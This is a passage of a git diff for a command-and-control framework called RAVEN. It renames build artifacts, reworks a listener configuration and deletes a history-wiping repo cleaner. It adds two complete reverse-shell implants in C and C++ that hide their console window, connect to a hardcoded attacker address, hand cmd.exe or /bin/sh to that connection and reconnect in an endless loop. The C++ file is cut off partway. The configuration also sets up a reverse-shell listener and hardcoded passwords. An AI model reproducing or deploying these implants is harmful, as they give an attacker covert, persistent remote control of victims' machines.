` | Operator role — `ADMIN`, `OPERATOR`, `VIEWER` |
```bash
# Add operator with default role (OPERATOR)
-java -jar target/raven.jar -AO -u op1 -pw securepass
+java -jar target/raven-3.0.0.jar -AO -u op1 -pw securepass
# Add operator with specific role
-java -jar target/raven.jar -AO -u op1 -pw securepass -r ADMIN
+java -jar target/raven-3.0.0.jar -AO -u op1 -pw securepass -r ADMIN
# Remove operator
-java -jar target/raven.jar -RO -u op1
+java -jar target/raven-3.0.0.jar -RO -u op1
# Update operator role
-java -jar target/raven.jar -OP -u op1 -r VIEWER
+java -jar target/raven-3.0.0.jar -OP -u op1 -r VIEWER
# List all available roles
-java -jar target/raven.jar -OP
+java -jar target/raven-3.0.0.jar -OP
```
> OPERATOR ROLES
@@ -380,12 +381,13 @@ java -jar target/raven.jar -OP
- **Author:** [MatrixTM26](https://github.com/MatrixTM26)
- **License:** [AGPL-V3](./LICENSE)
+
Copyright ©2023-2026 MatrixTM26 · All Rights Reserved
diff --git a/SECURITY.md b/SECURITY.md
index a49eb25..e540876 100644
--- a/SECURITY.md
+++ b/SECURITY.md
@@ -76,7 +76,7 @@ RAVEN Framework follows responsible disclosure practices:
## Authorized Use Policy
-### ✅ **AUTHORIZED USES**
+### **AUTHORIZED USES**
This project is designed and intended for:
@@ -103,7 +103,7 @@ This project is designed and intended for:
---
-### ❌ **UNAUTHORIZED USES - STRICTLY PROHIBITED**
+### **UNAUTHORIZED USES - STRICTLY PROHIBITED**
This project is **NOT** intended for and **MUST NOT** be used for:
diff --git a/build.ps1 b/build.ps1
index 834c763..20faade 100644
--- a/build.ps1
+++ b/build.ps1
@@ -111,7 +111,7 @@ function RunBuild {
exit 1
}
- $ArtifactPath = "target\raven.jar"
+ $ArtifactPath = "target\raven-3.0.0.jar"
if (-not (Test-Path $ArtifactPath)) {
PrintError "Build artifact not found: $ArtifactPath"
exit 1
@@ -122,7 +122,7 @@ function RunBuild {
function RunApp {
PrintInfo "Launching application"
- & java -jar raven.jar -h
+ & java -jar raven-3.0.0.jar -h
}
function Main {
diff --git a/build.sh b/build.sh
old mode 100644
new mode 100755
index ba80497..129fbaf
--- a/build.sh
+++ b/build.sh
@@ -12,144 +12,144 @@ TotalSteps=4
CurrentStep=0
PrintInfo() {
- local Message="$1"
- CurrentStep=$((CurrentStep + 1))
- echo -e "${Blue}[INFO]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}"
+ local Message="$1"
+ CurrentStep=$((CurrentStep + 1))
+ echo -e "${Blue}[INFO]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}"
}
PrintWarn() {
- local Message="$1"
- echo -e "${Yellow}[WARN]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}"
+ local Message="$1"
+ echo -e "${Yellow}[WARN]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}"
}
PrintError() {
- local Message="$1"
- echo -e "${Red}[ERROR]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}"
+ local Message="$1"
+ echo -e "${Red}[ERROR]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}"
}
DetectPackageManager() {
- if command -v pkg &>/dev/null && [ -d "/data/data/com.termux" ]; then
- echo "termux"
- elif command -v pacman &>/dev/null; then
- echo "pacman"
- elif command -v dnf &>/dev/null; then
- echo "dnf"
- elif command -v yum &>/dev/null; then
- echo "yum"
- elif command -v apt-get &>/dev/null; then
- echo "apt"
- elif command -v zypper &>/dev/null; then
- echo "zypper"
- elif command -v apk &>/dev/null; then
- echo "apk"
- elif command -v brew &>/dev/null; then
- echo "brew"
- else
- echo "unknown"
- fi
+ if command -v pkg &> /dev/null && [ -d "/data/data/com.termux" ]; then
+ echo "termux"
+ elif command -v pacman &> /dev/null; then
+ echo "pacman"
+ elif command -v dnf &> /dev/null; then
+ echo "dnf"
+ elif command -v yum &> /dev/null; then
+ echo "yum"
+ elif command -v apt-get &> /dev/null; then
+ echo "apt"
+ elif command -v zypper &> /dev/null; then
+ echo "zypper"
+ elif command -v apk &> /dev/null; then
+ echo "apk"
+ elif command -v brew &> /dev/null; then
+ echo "brew"
+ else
+ echo "unknown"
+ fi
}
InstallJava() {
- local PackageManager="$1"
- case "$PackageManager" in
- termux) pkg install -y openjdk-17 ;;
- pacman) sudo pacman -Sy --noconfirm jdk-openjdk ;;
- dnf) sudo dnf install -y java-17-openjdk-devel ;;
- yum) sudo yum install -y java-17-openjdk-devel ;;
- apt) sudo apt-get install -y openjdk-17-jdk ;;
- zypper) sudo zypper install -y java-17-openjdk-devel ;;
- apk) sudo apk add --no-cache openjdk17 ;;
- brew) brew install openjdk@17 ;;
- *)
- PrintError "Package manager not supported. Install OpenJDK manually."
- exit 1
- ;;
- esac
+ local PackageManager="$1"
+ case "$PackageManager" in
+ termux) pkg install -y openjdk-17 ;;
+ pacman) sudo pacman -Sy --noconfirm jdk-openjdk ;;
+ dnf) sudo dnf install -y java-17-openjdk-devel ;;
+ yum) sudo yum install -y java-17-openjdk-devel ;;
+ apt) sudo apt-get install -y openjdk-17-jdk ;;
+ zypper) sudo zypper install -y java-17-openjdk-devel ;;
+ apk) sudo apk add --no-cache openjdk17 ;;
+ brew) brew install openjdk@17 ;;
+ *)
+ PrintError "Package manager not supported. Install OpenJDK manually."
+ exit 1
+ ;;
+ esac
}
InstallMaven() {
- local PackageManager="$1"
- case "$PackageManager" in
- termux) pkg install -y maven ;;
- pacman) sudo pacman -Sy --noconfirm maven ;;
- dnf) sudo dnf install -y maven ;;
- yum) sudo yum install -y maven ;;
- apt) sudo apt-get install -y maven ;;
- zypper) sudo zypper install -y maven ;;
- apk) sudo apk add --no-cache maven ;;
- brew) brew install maven ;;
- *)
- PrintError "Package manager not supported. Install Maven manually."
- exit 1
- ;;
- esac
+ local PackageManager="$1"
+ case "$PackageManager" in
+ termux) pkg install -y maven ;;
+ pacman) sudo pacman -Sy --noconfirm maven ;;
+ dnf) sudo dnf install -y maven ;;
+ yum) sudo yum install -y maven ;;
+ apt) sudo apt-get install -y maven ;;
+ zypper) sudo zypper install -y maven ;;
+ apk) sudo apk add --no-cache maven ;;
+ brew) brew install maven ;;
+ *)
+ PrintError "Package manager not supported. Install Maven manually."
+ exit 1
+ ;;
+ esac
}
CheckAndInstallJava() {
- PrintInfo "Checking OpenJDK Java installation"
- if command -v java &>/dev/null; then
- local JavaVersion
- JavaVersion=$(java -version 2>&1 | head -n1)
- PrintWarn "Java already installed: ${JavaVersion}"
- else
- PrintWarn "Java not found, detecting package manager..."
- local PackageManager
- PackageManager=$(DetectPackageManager)
- if [ "$PackageManager" = "unknown" ]; then
- PrintError "Cannot detect package manager. Install OpenJDK manually."
- exit 1
- fi
- PrintWarn "Installing OpenJDK via [${PackageManager}]..."
- InstallJava "$PackageManager"
- PrintInfo "Java installed successfully"
- fi
+ PrintInfo "Checking OpenJDK Java installation"
+ if command -v java &> /dev/null; then
+ local JavaVersion
+ JavaVersion=$(java -version 2>&1 | head -n1)
+ PrintWarn "Java already installed: ${JavaVersion}"
+ else
+ PrintWarn "Java not found, detecting package manager..."
+ local PackageManager
+ PackageManager=$(DetectPackageManager)
+ if [ "$PackageManager" = "unknown" ]; then
+ PrintError "Cannot detect package manager. Install OpenJDK manually."
+ exit 1
+ fi
+ PrintWarn "Installing OpenJDK via [${PackageManager}]..."
+ InstallJava "$PackageManager"
+ PrintInfo "Java installed successfully"
+ fi
}
CheckAndInstallMaven() {
- PrintInfo "Checking Maven installation"
- if command -v mvn &>/dev/null; then
- local MvnVersion
- MvnVersion=$(mvn -version 2>&1 | head -n1)
- PrintWarn "Maven already installed: ${MvnVersion}"
- else
- PrintWarn "Maven not found, detecting package manager..."
- local PackageManager
- PackageManager=$(DetectPackageManager)
- if [ "$PackageManager" = "unknown" ]; then
- PrintError "Cannot detect package manager. Install Maven manually."
- exit 1
- fi
- PrintWarn "Installing Maven via [${PackageManager}]..."
- InstallMaven "$PackageManager"
- PrintInfo "Maven installed successfully"
- fi
+ PrintInfo "Checking Maven installation"
+ if command -v mvn &> /dev/null; then
+ local MvnVersion
+ MvnVersion=$(mvn -version 2>&1 | head -n1)
+ PrintWarn "Maven already installed: ${MvnVersion}"
+ else
+ PrintWarn "Maven not found, detecting package manager..."
+ local PackageManager
+ PackageManager=$(DetectPackageManager)
+ if [ "$PackageManager" = "unknown" ]; then
+ PrintError "Cannot detect package manager. Install Maven manually."
+ exit 1
+ fi
+ PrintWarn "Installing Maven via [${PackageManager}]..."
+ InstallMaven "$PackageManager"
+ PrintInfo "Maven installed successfully"
+ fi
}
RunBuild() {
- PrintInfo "Running Maven build"
- if ! mvn clean package -q -X; then
- PrintError "Maven build failed"
- exit 1
- fi
-
- if [ ! -f "target/raven.jar" ]; then
- PrintError "Build artifact not found: target/raven.jar"
- exit 1
- fi
-
- cp -r target/raven.jar .
+ PrintInfo "Running Maven build"
+ if ! mvn clean package -q -X; then
+ PrintError "Maven build failed"
+ exit 1
+ fi
+
+ if [ ! -f "target/raven-3.0.0.jar" ]; then
+ PrintError "Build artifact not found: target/raven-3.0.0.jar"
+ exit 1
+ fi
+
+ cp -r target/raven-3.0.0.jar .
}
RunApp() {
- PrintInfo "Launching application"
- java -jar raven.jar -h
+ PrintInfo "Launching application"
+ java -jar raven-3.0.0.jar -h
}
Main() {
- CheckAndInstallJava
- CheckAndInstallMaven
- RunBuild
- RunApp
+ CheckAndInstallJava
+ CheckAndInstallMaven
+ RunBuild
+ RunApp
}
Main
diff --git a/clean.sh b/clean.sh
deleted file mode 100755
index 64e00cb..0000000
--- a/clean.sh
+++ /dev/null
@@ -1,107 +0,0 @@
-#!/usr/bin/env bash
-
-set -euo pipefail
-
-REPO="git@github.com:MatrixTM26/RAVEN.git"
-BRANCHES=("main" "dev")
-WORK_DIR="$(mktemp -d)"
-REPO_OWNER="MatrixTM26"
-REPO_NAME="RAVEN"
-
-RED='\033[0;31m'
-GREEN='\033[0;32m'
-YELLOW='\033[1;33m'
-CYAN='\033[0;36m'
-NC='\033[0m'
-
-log_info() { echo -e "${CYAN}[INFO]${NC} $1"; }
-log_ok() { echo -e "${GREEN}[OK]${NC} $1"; }
-log_warn() { echo -e "${YELLOW}[WARN]${NC} $1"; }
-log_error() { echo -e "${RED}[ERROR]${NC} $1"; }
-
-require_tool() {
- if ! command -v "$1" &>/dev/null; then
- log_error "Required tool not found: $1"
- exit 1
- fi
-}
-
-require_tool git
-require_tool gh
-
-echo ""
-echo -e "${CYAN} RAVEN Repo Cleaner — github.com/MatrixTM26 ${NC}"
-echo ""
-
-if ! gh auth status &>/dev/null; then
- log_error "GitHub CLI is not authenticated. Run: gh auth login"
- exit 1
-fi
-log_ok "GitHub CLI authenticated"
-
-log_info "Deleting all releases from $REPO_OWNER/$REPO_NAME ..."
-RELEASE_IDS=$(gh api "repos/$REPO_OWNER/$REPO_NAME/releases" --paginate --jq '.[].id' 2>/dev/null || true)
-
-if [[ -z "$RELEASE_IDS" ]]; then
- log_warn "No releases found"
-else
- while IFS= read -r id; do
- gh api -X DELETE "repos/$REPO_OWNER/$REPO_NAME/releases/$id" &>/dev/null
- log_ok "Deleted release ID: $id"
- done <<<"$RELEASE_IDS"
-fi
-
-log_info "Deleting all tags remotely from $REPO_OWNER/$REPO_NAME ..."
-REMOTE_TAGS=$(gh api "repos/$REPO_OWNER/$REPO_NAME/tags" --paginate --jq '.[].name' 2>/dev/null || true)
-
-if [[ -z "$REMOTE_TAGS" ]]; then
- log_warn "No remote tags found"
-else
- while IFS= read -r tag; do
- gh api -X DELETE "repos/$REPO_OWNER/$REPO_NAME/git/refs/tags/$tag" &>/dev/null
- log_ok "Deleted remote tag: $tag"
- done <<<"$REMOTE_TAGS"
-fi
-
-for branch in "${BRANCHES[@]}"; do
- BRANCH_DIR="$WORK_DIR/$branch"
-
- log_info "Cloning branch '$branch' ..."
- if ! git clone --single-branch --branch "$branch" "$REPO" "$BRANCH_DIR" &>/dev/null; then
- log_warn "Branch '$branch' not found on remote — skipping"
- continue
- fi
- log_ok "Cloned branch: $branch"
-
- cd "$BRANCH_DIR"
-
- log_info "[$branch] Removing all local tags ..."
- git tag -l | xargs -r git tag -d &>/dev/null || true
-
- log_info "[$branch] Running git reflog expire ..."
- git reflog expire --expire=now --all
-
- log_info "[$branch] Running git gc aggressive ..."
- git gc --aggressive --prune=now &>/dev/null
-
- log_info "[$branch] Running git repack ..."
- git repack -a -d --depth=250 --window=250 &>/dev/null
-
- log_info "[$branch] Force pushing to origin ..."
- git push --force origin "$branch"
- log_ok "Branch '$branch' pushed successfully"
-
- cd "$WORK_DIR"
-done
-
-log_info "Cleaning up temp directory ..."
-rm -rf "$WORK_DIR"
-log_ok "Temp directory removed"
-
-echo ""
-log_ok "Repository cleanup complete."
-echo -e "${CYAN} Repo : ${NC}$REPO"
-echo -e "${CYAN} Branches cleaned : ${NC}${BRANCHES[*]}"
-echo -e "${CYAN} Releases deleted : ${NC}$(echo "$RELEASE_IDS" | grep -c . 2>/dev/null || echo 0)"
-echo -e "${CYAN} Tags deleted : ${NC}$(echo "$REMOTE_TAGS" | grep -c . 2>/dev/null || echo 0)"
-echo ""
diff --git a/doc/AUTHORS b/doc/AUTHORS
index 0d34390..16bee6d 100644
--- a/doc/AUTHORS
+++ b/doc/AUTHORS
@@ -1,4 +1,4 @@
-Tom Mckinnon (@MatrixTM26)
-
+TM (@MatrixTM26)
+
You can contact the author for any development or improvements in this project.
\ No newline at end of file
diff --git a/doc/pages/public/logo.png b/doc/pages/public/logo.png
deleted file mode 100644
index e5f6c05..0000000
Binary files a/doc/pages/public/logo.png and /dev/null differ
diff --git a/pom.xml b/pom.xml
index a409267..edee417 100644
--- a/pom.xml
+++ b/pom.xml
@@ -8,7 +8,7 @@
raven
3.0.0
jar
- RAVEN Framework
+ RAVEN C2 Framework
17
diff --git a/run.ps1 b/run.ps1
deleted file mode 100644
index c316bfb..0000000
--- a/run.ps1
+++ /dev/null
@@ -1,67 +0,0 @@
-#Requires -Version 5.1
-
-Set-StrictMode -Version Latest
-$ErrorActionPreference = "Stop"
-
-$TotalSteps = 3
-$Script:CurrentStep = 0
-
-function PrintInfo {
- param([string]$Message)
- $Script:CurrentStep++
- Write-Host "[" -NoNewline -ForegroundColor White
- Write-Host "INFO" -NoNewline -ForegroundColor Blue
- Write-Host "]" -NoNewline -ForegroundColor White
- Write-Host " [step $Script:CurrentStep/$TotalSteps] $Message" -ForegroundColor White
-}
-
-function PrintWarn {
- param([string]$Message)
- Write-Host "[" -NoNewline -ForegroundColor White
- Write-Host "WARN" -NoNewline -ForegroundColor Yellow
- Write-Host "]" -NoNewline -ForegroundColor White
- Write-Host " [step $Script:CurrentStep/$TotalSteps] $Message" -ForegroundColor White
-}
-
-function PrintError {
- param([string]$Message)
- Write-Host "[" -NoNewline -ForegroundColor White
- Write-Host "ERROR" -NoNewline -ForegroundColor Red
- Write-Host "]" -NoNewline -ForegroundColor White
- Write-Host " [step $Script:CurrentStep/$TotalSteps] $Message" -ForegroundColor White
-}
-
-function CheckJava {
- PrintInfo "Checking OpenJDK Java installation"
- $JavaCmd = Get-Command java -ErrorAction SilentlyContinue
- if (-not $JavaCmd) {
- PrintError "Java not found. Please install OpenJDK before running this script."
- exit 1
- }
- $JavaVersion = & java -version 2>&1 | Select-Object -First 1
- PrintWarn "Java found: $JavaVersion"
-}
-
-function CopyArtifact {
- PrintInfo "Copying artifact from output directory"
- $SourcePath = "output\raven.jar"
- if (-not (Test-Path $SourcePath)) {
- PrintError "Artifact not found: $SourcePath"
- exit 1
- }
- Copy-Item -Path $SourcePath -Destination "." -Force
- PrintWarn "Artifact copied to current directory"
-}
-
-function RunApp {
- PrintInfo "Launching application"
- & java -jar raven.jar -h
-}
-
-function Main {
- CheckJava
- CopyArtifact
- RunApp
-}
-
-Main
diff --git a/run.sh b/run.sh
deleted file mode 100644
index 517b6eb..0000000
--- a/run.sh
+++ /dev/null
@@ -1,63 +0,0 @@
-#!/usr/bin/env bash
-
-set -euo pipefail
-
-readonly White='\033[1;37m'
-readonly Blue='\033[1;34m'
-readonly Yellow='\033[1;33m'
-readonly Red='\033[1;31m'
-readonly Reset='\033[0m'
-
-TotalSteps=3
-CurrentStep=0
-
-PrintInfo() {
- local Message="$1"
- CurrentStep=$((CurrentStep + 1))
- echo -e "${Blue}[INFO]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}"
-}
-
-PrintWarn() {
- local Message="$1"
- echo -e "${Yellow}[WARN]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}"
-}
-
-PrintError() {
- local Message="$1"
- echo -e "${Red}[ERROR]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}"
-}
-
-CheckJava() {
- PrintInfo "Checking OpenJDK Java installation"
- if ! command -v java &>/dev/null; then
- PrintError "Java not found. Please install OpenJDK before running this script."
- exit 1
- fi
- local JavaVersion
- JavaVersion=$(java -version 2>&1 | head -n1)
- PrintWarn "Java found: ${JavaVersion}"
-}
-
-CopyArtifact() {
- PrintInfo "Copying artifact from output directory"
- local SourcePath="output/raven.jar"
- if [ ! -f "$SourcePath" ]; then
- PrintError "Artifact not found: ${SourcePath}"
- exit 1
- fi
- cp -r "$SourcePath" .
- PrintWarn "Artifact copied to current directory"
-}
-
-RunApp() {
- PrintInfo "Launching application"
- java -jar raven.jar -h
-}
-
-Main() {
- CheckJava
- CopyArtifact
- RunApp
-}
-
-Main
diff --git a/server.properties b/server.properties
index da4679f..b0995e8 100644
--- a/server.properties
+++ b/server.properties
@@ -1,131 +1,124 @@
-# Raven Framework Configuration
-
-# Listener
-
-# Bind address for the TCP listener (agents connect here)
-server.host=0.0.0.0
-
-# TCP port agents connect to
-server.port=4444
-
-# Listener mode:
-# multi = Accepts raw shells, Raven agents, and HTTP beacons (no TLS)
-# raw = Raw reverse shells only
-# tls = Raven agent over TLS
-# mtls = Raven agent over mutual TLS (recommended)
-# fmtls = Full mutual TLS on TCP and HTTPS beacon
-# http = HTTP beacon only
-# https = HTTPS beacon only
-server.mode=multi
-
-# Bind address for the web panel
-web.host=0.0.0.0
-
-# Web panel port (WebApp mode)
-web.port=5000
-
-# HTTP beacon port for multi/fmtls mode (-1 disables beacon)
-web.beacon.port=-1
-
-# TeamServer
-
-# TeamServer web panel port
-# Default credentials: admin / admin
-teamserver.port=5001
-
-# Interface
-
-# Default interface when no CLI flag is provided:
-# web = Web panel without authentication
-# teamserver = Web panel with authentication
-# cli = Terminal interface
-# cli-teamserver = Terminal interface with authentication
-# gui = JavaFX interface
-# gui-teamserver = JavaFX interface with authentication
-mode.interface=cli
-
-# TLS Certificates
-
-# Generate certificates using:
-# java -jar raven.jar --init-certs
-
-cert.keystore.path=certs/server.p12
-cert.keystore.password=raven
-cert.truststore.path=certs/truststore.jks
-cert.ca.path=certs/ca.p12
-cert.ca.password=raven
-cert.agent.dir=certs/agents
-
-# Minimum supported TLS version
-cert.tls.protocol=TLSv1.3
-
-# Agent certificate validity (days)
-cert.agent.validity.days=90
-
-# Database
-
-# Database backend:
-# sqlite = Local database (recommended)
+# RAVEN C2 default configurations
+
+# server general configuration
+server.host = 0.0.0.0
+server.port = 4444
+
+# listener mode
+# multi - accept all non-TLS (raw shell, RAVEN agent, HTTP beacon)
+# http - HTTP beacon only
+# https - HTTPS beacon only (TLS, no client cert)
+# tls - RAVEN agent over TLS (no client cert)
+# mtls - RAVEN agent over mTLS (client cert required)
+# fmtls - full mTLS TCP + HTTPS beacon
+# raw - raw TCP reverse shell only
+server.mode = multi
+
+# default web mode configuration
+web.host = 127.0.0.1
+web.port = 5000
+web.template.dir = config/app/templates
+web.static.dir = config/app/static
+
+# HTTP/HTTPS beacon port (-1 to disable)
+web.beacon.port = -1
+
+# teamserver API port for multi operator mode
+teamserver.port = 40000
+
+# user interfaces mode
+mode.interface = cli
+
+# certificates keystore
+cert.keystore.type = PKCS12
+cert.keystore.password = R4V3NKEYP4SSX
+cert.keystore.path = certs/server.p12
+
+# certificates truststore
+cert.truststore.type = PKCS12
+cert.truststore.password = R4V3NTRUST5TOR3P455X
+cert.truststore.path = certs/truststore.p12
+
+# agent certificates directory
+cert.agent.dir = certs/agents
+
+# certificates subject DN - SERVER
+cert.dn.cn = R4VEN
+cert.dn.o = Emperor Security
+cert.dn.ou = Emp3ror
+cert.dn.l = DeepInTheSys
+cert.dn.st = Los Angeles
+cert.dn.c = US
+
+# certificates subject DN - CA
+cert.ca.dn.cn = R4VEN
+cert.ca.dn.o = Emperor Security
+cert.ca.dn.ou = Emp3ror
+cert.ca.dn.l = DeepInTheSys
+cert.ca.dn.st = Los Angeles
+cert.ca.dn.c = US
+
+# certificates validity
+cert.server.validity.days = 365
+cert.agent.validity.days = 90
+cert.ca.validity.days = 3650
+
+# certificates security protocol
+# TLSv1.1 | TLSv1.2 | TLSv1.3
+cert.tls.protocol = TLSv1.2
+
+# agent handler
+agent.connection.timeout = 10000
+agent.command.timeout = 30000
+agent.max.connections = 100
+agent.buffer.size = 8192
+
+# logging
+# debug level: INFO | DEBUG | VERBOSE | WARN | ERROR
+logging.level = INFO
+logging.verbose = true
+logging.max.entries = 10000
+logging.file = logs/raven.log
+logging.file.enabled = true
+
+# database (teamserver)
+# database type : none | postgresql | mongodb
+# PostgreSQL : jdbc:postgresql://host:5432/dbname
+# MongoDB : mongodb://host:27017
+db.type = sqlite
+db.url = jdbc:postgresql://localhost:5432/ravenc2
+
+# database
+# database backend:
+# sqlite = local database (recommended)
# postgresql = PostgreSQL server
# mongodb = MongoDB server
# none = In-memory only
-db.type=none
+db.type = none
# SQLite database path
-db.path=Database
+db.path = database
# PostgreSQL configuration
-db.url=jdbc:postgresql://localhost:5432/raven
-db.name=raven
-db.user=raven
-db.password=raven
+db.url = jdbc:postgresql://localhost:5432/raven
+db.name = R4V3NDB
+db.user = R4V3N
+db.password = R4V3ND4TABA53S3CUREP45S
# MongoDB configuration
-db.mongo.uri=mongodb://localhost:27017
-db.mongo.name=raven
-
-# Agent
-
-# Command timeout (milliseconds)
-agent.command.timeout=120000
-
-# Connection timeout (milliseconds)
-agent.connection.timeout=10000
-
-# Socket read buffer size (bytes)
-agent.buffer.size=8192
-
-# Logging
-
-# Log level:
-# INFO
-# DEBUG
-# VERBOSE
-# WARN
-# ERROR
-logging.level=INFO
-
-# Enable verbose logging
-logging.verbose=false
-
-# Write logs to file
-logging.file.enabled=true
-logging.file.path=logs/raven.log
-
-# Maximum log entries stored in memory
-logging.max.entries=1000
-
-# Operator chat logging
-logging.operator.chat=true
-logging.operator.chat.limit=500
-
-# Command history
-logging.command.history=true
-logging.command.history.limit=1000
-
-# Default Administrator
-
-# Change these before deployment
-admin.username=admin
-admin.password=password
-admin.role=SUPER
\ No newline at end of file
+db.mongo.uri = mongodb://localhost:27017
+db.mongo.name = R4V3NDB
+
+# operator chat logging
+logging.operator.chat = true
+logging.operator.chat.limit = 500
+
+# command history
+logging.command.history = true
+logging.command.history.limit = 1000
+
+# default administrator
+# change these before deployment
+admin.username = C2OPER4TOR
+admin.password = C2S3CUREP455X
+admin.role = SUPER
diff --git a/shell/shell-2.c b/shell/shell-2.c
new file mode 100644
index 0000000..d99ea66
--- /dev/null
+++ b/shell/shell-2.c
@@ -0,0 +1,118 @@
+#include
+#include
+
+#if defined(_WIN32) || defined(WIN32)
+ #include
+ #include
+ #pragma comment(lib, "ws2_32.lib")
+ #define CLOSESOCKET closesocket
+ #define SLEEP(ms) Sleep(ms)
+ typedef SOCKET SOCKETTYPE;
+#else
+ #include
+ #include
+ #include
+ #include
+ #define CLOSESOCKET close
+ #define SLEEP(ms) usleep((ms) * 1000)
+ typedef int SOCKETTYPE;
+#endif
+
+const char* ATTACKERIP = "127.0.0.1";
+const int ATTACKERPORT = 25000;
+
+int main() {
+#if defined(_WIN32) || defined(WIN32)
+ HWND hwnd = GetConsoleWindow();
+ if (hwnd != NULL) {
+ ShowWindow(hwnd, SW_HIDE);
+ }
+ WSADATA wsaData;
+ if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return 1;
+#endif
+
+ while (1) {
+#if defined(_WIN32) || defined(WIN32)
+ SOCKETTYPE s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
+ if (s == INVALID_SOCKET) {
+ printf("[!] server seems down. reconnecting...\n");
+ SLEEP(5000);
+ continue;
+ }
+
+ struct sockaddr_in addr;
+ addr.sin_family = AF_INET;
+ addr.sin_port = htons(ATTACKERPORT);
+ addr.sin_addr.s_addr = inet_addr(ATTACKERIP);
+
+ if (WSAConnect(s, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
+ CLOSESOCKET(s);
+ printf("[!] server seems down. reconnecting...\n");
+ SLEEP(5000);
+ continue;
+ }
+
+ printf("[+] connected to %s:%d\n", ATTACKERIP, ATTACKERPORT);
+
+ STARTUPINFO si;
+ PROCESS_INFORMATION pi;
+ memset(&si, 0, sizeof(si));
+ si.cb = sizeof(si);
+ si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
+ si.wShowWindow = SW_HIDE;
+ si.hStdInput = (HANDLE)s;
+ si.hStdOutput = (HANDLE)s;
+ si.hStdError = (HANDLE)s;
+
+ char cmd[] = "cmd.exe";
+ if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
+ WaitForSingleObject(pi.hProcess, INFINITE);
+ CloseHandle(pi.hProcess);
+ CloseHandle(pi.hThread);
+ }
+ CLOSESOCKET(s);
+#else
+ int s = socket(AF_INET, SOCK_STREAM, 0);
+ if (s < 0) {
+ printf("[!] server seems down. reconnecting...\n");
+ SLEEP(5000);
+ continue;
+ }
+
+ struct sockaddr_in addr;
+ addr.sin_family = AF_INET;
+ addr.sin_port = htons(ATTACKERPORT);
+ addr.sin_addr.s_addr = inet_addr(ATTACKERIP);
+
+ if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
+ CLOSESOCKET(s);
+ printf("[!] server seems down. reconnecting...\n");
+ SLEEP(5000);
+ continue;
+ }
+
+ printf("[+] connected to %s:%d\n", ATTACKERIP, ATTACKERPORT);
+
+ pid_t pid = fork();
+ if (pid == 0) {
+ dup2(s, 0);
+ dup2(s, 1);
+ dup2(s, 2);
+ execl("/bin/sh", "sh", (char*)NULL);
+ return 0;
+ } else if (pid > 0) {
+ int status;
+ waitpid(pid, &status, 0);
+ }
+
+ CLOSESOCKET(s);
+#endif
+ printf("[+] server seems down. reconnecting...\n");
+ SLEEP(5000);
+ }
+
+#if defined(_WIN32) || defined(WIN32)
+ WSACleanup();
+#endif
+ return 0;
+}
diff --git a/shell/shell-2.cpp b/shell/shell-2.cpp
new file mode 100644
index 0000000..ff8b4a5
--- /dev/null
+++ b/shell/shell-2.cpp
@@ -0,0 +1,118 @@
+#include
+#include
+
+#if defined(_WIN32) || defined(WIN32)
+ #include
+ #include
+ #pragma comment(lib, "ws2_32.lib")
+ #define CLOSESOCKET closesocket
+ #define SLEEP(ms) Sleep(ms)
+ typedef SOCKET SOCKETTYPE;
+#else
+ #include
+ #include
+ #include
+ #include
+ #define CLOSESOCKET close
+ #define SLEEP(ms) usleep((ms) * 1000)
+ typedef int SOCKETTYPE;
+#endif
+
+const char* ATTACKERIP = "127.0.0.1";
+const int ATTACKERPORT = 25000;
+
+int main() {
+#if defined(_WIN32) || defined(WIN32)
+ HWND hwnd = GetConsoleWindow();
+ if (hwnd != NULL) {
+ ShowWindow(hwnd, SW_HIDE);
+ }
+ WSADATA wsaData;
+ if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return 1;
+#endif
+
+ while (1) {
+#if defined(_WIN32) || defined(WIN32)
+ SOCKETTYPE s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
+ if (s == INVALID_SOCKET) {
+ std::cout << "[!] server seems down. reconnecting..." << std::endl;
+ SLEEP(5000);
+ continue;
+ }
+
+ struct sockaddr_in addr;
+ addr.sin_family = AF_INET;
+ addr.sin_port = htons(ATTACKERPORT);
+ addr.sin_addr.s_addr = inet_addr(ATTACKERIP);
+
+ if (WSAConnect(s, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
+ CLOSESOCKET(s);
+ std::cout << "[!] server seems down. reconnecting..." << std::endl;
+ SLEEP(5000);
+ continue;
+ }
+
+ std::cout << "[+] connected to " << ATTACKERIP << ":" << ATTACKERPORT << std::endl;
+
+ STARTUPINFO si;
+ PROCESS_INFORMATION pi;
+ memset(&si, 0, sizeof(si));
+ si.cb = sizeof(si);
+ si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
+ si.wShowWindow = SW_HIDE;
+ si.hStdInput = (HANDLE)s;
+ si.hStdOutput = (HANDLE)s;
+ si.hStdError = (HANDLE)s;
+
+ char cmd[] = "cmd.exe";
+ if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
+ WaitForSingleObject(pi.hProcess, INFINITE);
+ CloseHandle(pi.hProcess);
+ CloseHandle(pi.hThread);
+ }
+ CLOSESOCKET(s);
+#else
+ int s = socket(AF_INET, SOCK_STREAM, 0);
+ if (s < 0) {
+ std::cout << "[!] server seems down. reconnecting..." << std::endl;
+ SLEEP(5000);
+ continue;
+ }
+
+ struct sockaddr_in addr;
+ addr.sin_family = AF_INET;
+ addr.sin_port = htons(ATTACKERPORT);
